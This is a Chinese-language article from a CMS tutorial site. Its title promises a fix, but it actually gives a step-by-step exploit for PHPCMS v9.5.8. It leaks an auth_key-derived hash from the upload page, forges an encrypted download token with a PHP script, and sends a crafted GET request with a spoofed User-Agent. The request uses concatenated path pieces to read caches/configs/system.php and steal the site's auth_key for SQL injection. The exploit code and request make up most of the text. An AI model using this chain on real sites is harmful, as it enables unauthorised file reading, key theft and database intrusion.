您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
PHPCMS某处设计缺陷authkey泄露的解决方法
章学共2025-05-29phpcms教程已有人查阅
导读在分析几个phpcms的漏洞就换分析其他的,换换口味。swfupload上传页面输出了MD5(auth_key+sess_id)。
在分析几个phpcms的漏洞就换分析其他的,换换口味。swfupload上传页面输出了MD5(auth_key+sess_id)。
函数位于 /phpcms/modules/attachment/functions/global.func.php 第45-91行
看到这里:
在跟踪到上面去$swf_auth_key的值。
跟踪这整个函数,看看哪里引用了。
限制:在线投稿(需要后台开启)
在发布投稿的时候,有个图片上传,url就位于那里。
查看源码就能看到输出在页面的值了。
记录下来两个值。
接着看到第二个漏洞点。
位于 /phpcms/modules/content/down.php 第83-124行。
看到这句,
上面的那些参数是download函数需要的,具体的解释在以前文章有个这里的windows下任意文件相同
s和f参数,利用拼接来绕过检查,也就是这句:if($m) $fileurl = trim($s).trim($fileurl);
然后就能读取任意文件啦。
读取到的文件caches/configs/system.php 为网站放置auth_key的php文件。
有了这个auth_key,我们就能在本地混合sql语句然后加密auth_key,网站进行解码以后输出sql语句来绕过检查,然后对网站进行注入等操作。
函数位于 /phpcms/modules/attachment/functions/global.func.php 第45-91行
function initupload($module, $catid,$args, $userid, $groupid = '8', $isadmin = '0',$userid_flash='0'){
$grouplist = getcache('grouplist','member');
if($isadmin==0 && !$grouplist[$groupid]['allowattachment']) return false;
extract(getswfinit($args));
$siteid = param::get_cookie('siteid');
$site_setting = get_site_setting($siteid);
$file_size_limit = $site_setting['upload_maxsize'];
$sess_id = SYS_TIME;
$admin_url = pc_base::load_config('system','admin_url');
$upload_path = empty($admin_url) ? APP_PATH : 'http://'.$admin_url.'/';
$swf_auth_key = md5(pc_base::load_config('system','auth_key').$sess_id);
$init = 'var swfu = \'\';
$(document).ready(function(){
swfu = new SWFUpload({
flash_url:"'.JS_PATH.'swfupload/swfupload.swf?"+Math.random(),
upload_url:"'.$upload_path.'index.php?m=attachment&c=attachments&a=swfupload&dosubmit=1",
file_post_name : "Filedata",
post_params:{"SWFUPLOADSESSID":"'.$sess_id.'","module":"'.$module.'","catid":"'.$_GET['catid'].'","userid":"'.$userid.'","siteid":"'.$siteid.'","dosubmit":"1","thumb_width":"'.$thumb_width.'","thumb_height":"'.$thumb_height.'","watermark_enable":"'.$watermark_enable.'","filetype_post":"'.$file_types_post.'","swf_auth_key":"'.$swf_auth_key.'","isadmin":"'.$isadmin.'","groupid":"'.$groupid.'","userid_flash":"'.$userid_flash.'"},
file_size_limit:"'.$file_size_limit.'",
file_types:"'.$file_types.'",
file_types_description:"All Files",
file_upload_limit:"'.$file_upload_limit.'",
custom_settings : {progressTarget : "fsUploadProgress",cancelButtonId : "btnCancel"},
button_image_url: "",
button_width: 75,
button_height: 28,
button_placeholder_id: "buttonPlaceHolder",
button_text_style: "",
button_text_top_padding: 3,
button_text_left_padding: 12,
button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT,
button_cursor: SWFUpload.CURSOR.HAND,
file_dialog_start_handler : fileDialogStart,
file_queued_handler : fileQueued,
file_queue_error_handler:fileQueueError,
file_dialog_complete_handler:fileDialogComplete,
upload_progress_handler:uploadProgress,
upload_error_handler:uploadError,
upload_success_handler:uploadSuccess,
upload_complete_handler:uploadComplete
});
})';
return $init;
}
可以看到$init参数的值为一段js代码。看到这里:
post_params:{"SWFUPLOADSESSID":"'.$sess_id.'","module":"'.$module.'","catid":"'.$_GET['catid'].'","userid":"'.$userid.'","siteid":"'.$siteid.'","dosubmit":"1","thumb_width":"'.$thumb_width.'","thumb_height":"'.$thumb_height.'","watermark_enable":"'.$watermark_enable.'","filetype_post":"'.$file_types_post.'","swf_auth_key":"'.$swf_auth_key.'","isadmin":"'.$isadmin.'","groupid":"'.$groupid.'","userid_flash":"'.$userid_flash.'"},
混杂着$sess_id和$swf_auth_key的值在跟踪到上面去$swf_auth_key的值。
$swf_auth_key = md5(pc_base::load_config('system','auth_key').$sess_id);
$swf_auth_key是由auth_key和$sess_id联合在一起共同进行md5加密。并且$swf_auth_key,$sess_id都输出到页面上了。跟踪这整个函数,看看哪里引用了。
限制:在线投稿(需要后台开启)
在发布投稿的时候,有个图片上传,url就位于那里。
查看源码就能看到输出在页面的值了。
记录下来两个值。
接着看到第二个漏洞点。
位于 /phpcms/modules/content/down.php 第83-124行。
public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT']);
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
//远程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
file_down($fileurl, $filename);
}
}
}
看到开头的这句话:
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT']);
利用auth_key和HTTP_USER_AGENT进行加密。UA我们本地是可以控制的,所以我们可以让UA的值与$sess_id的值相同,然后$pc_auth_key 我们也是知道的。看到这句,
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
$a_k是利用GET过来的,$pc_auth_key我们又是知道的,所以我们可以本地生成经过加密$a_k的值
<?php
include '/Applications/MAMP/htdocs/phpcms_v9.5.8/phpsso_server/phpcms/libs/functions/global.func.php';
echo sys_auth('i=3&d=1&t=9999999999&ip=127.0.0.1&m=3&modelid=3&s=caches/configs/system.p&f=hp', 'ENCODE', '12d92ed5288d3779cbbc21050a2872c7');
?>
先包含sys_auth函数,然后构造我们要下载的文件地址。上面的那些参数是download函数需要的,具体的解释在以前文章有个这里的windows下任意文件相同
s和f参数,利用拼接来绕过检查,也就是这句:if($m) $fileurl = trim($s).trim($fileurl);
然后就能读取任意文件啦。
GET /phpcms_v9.5.8/index.php?m=content&c=down&a=download&a_k=4a24vbaImAul-EwWcTrYs7wE7j5Urx5t4oU732dLThlYS7A3T-z8Wx31XLBrijP0c6yi0MxacTEGBpGIc6w-t52fF-yPcyQv5O9aZCvLQxseCnyLPytVPcArzKYcBMEEhwiLu8pcvAmZ_ZDiO-YSI5d1MshWeQ6qo2LPi7-DaRpawVQ HTTP/1.1
Host: phpstudy.com
User-Agent: 1495713362
a_k的值是php文件加密来的,需要替换,UA是$sess_id的值,也是需要替换。读取到的文件caches/configs/system.php 为网站放置auth_key的php文件。
有了这个auth_key,我们就能在本地混合sql语句然后加密auth_key,网站进行解码以后输出sql语句来绕过检查,然后对网站进行注入等操作。
本文标签:
很赞哦! ()
上一篇:phpcms怎么添加模块
图文教程
phpcms获取时间格式写法
PHPCMS V9 如何调用时间标签,下面分享常见的调用时间标签 |日期时间格式化1、日期时间格式化显示:
phpcms服务器安全认证错误的原因和修复方法
问题:phpcms通过后台上传附件或图片时就出现了“服务器安全认证错误”,上传不成功。错误原因:因为app_path没有修改,导致app_path的值跟前面几个值不一致,所以上传图片的时候
phpcms配置邮箱的步骤教程
phpcms是一款网站管理软件。该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计、开发与维护。它支持众多的程序组合,可轻松实现网站平台迁移
phpcms调用二级导航栏标签的步骤方法
phpcms如何调用二级导航栏标签?phpcms写二级导航栏标签的方法:第一步:首先,要去官网下载一个phpcms v9系统文件,放在本地运行环境里并且打开。
相关源码
-
(自适应响应式)HTML5建筑工程公司建筑集团网站模板下载基于PbootCMS内核开发的响应式建筑行业网站模板,为建筑工程公司、建筑集团等企业打造,通过简洁大气的设计风格展现企业专业形象。查看源码 -
自适应手机版五金机械阀门设备通用行业网站模板该PbootCMS内核开发的网站模板适用于阀门设备、五金机械类企业,通过更换文字图片也可快速适配其他工业领域。采用响应式设计,确保PC端与手机端数据同步,操作便捷,并附带测试数据。查看源码 -
(自适应)蓝色建材亚克力板材装饰材料pbootcms网站模板这款基于PbootCMS开发的响应式模板为建材板材行业优化设计,适用于亚克力板材、建筑装饰材料等企业展示需求。采用HTML5技术实现手机/PC跨终端适配,管理员通过统一后台即可同步查看源码 -
(自适应响应式)双语LED照明灯饰灯具外贸网站pbootcms源码下载模板采用响应式设计,能自动适应手机、平板和电脑等多种设备屏幕,确保用户在不同设备上都能获得良好的浏览体验。同一后台管理,数据实时同步,操作简便高效。查看源码 -
(自适应)黑色摄影作品工作室pbootcms模板网站源码下载为风景摄影、个人工作室打造的高端网站模板,基于PbootCMS开源内核开发,采用HTML5自适应架构,PC与移动端实时数据同步,适配各类拍摄作品展示需求。查看源码 -
(自适应)互联网建站网络公司个人工作室网站模板基于PbootCMS内核开发,围绕「技术方案展示」「成功案例库」「服务流程说明」三大模块构建,支持PC与移动端数据实时同步。附带包含客户评价、行业解决方案的完整测试数据包查看源码
| 分享笔记 (共有 篇笔记) |
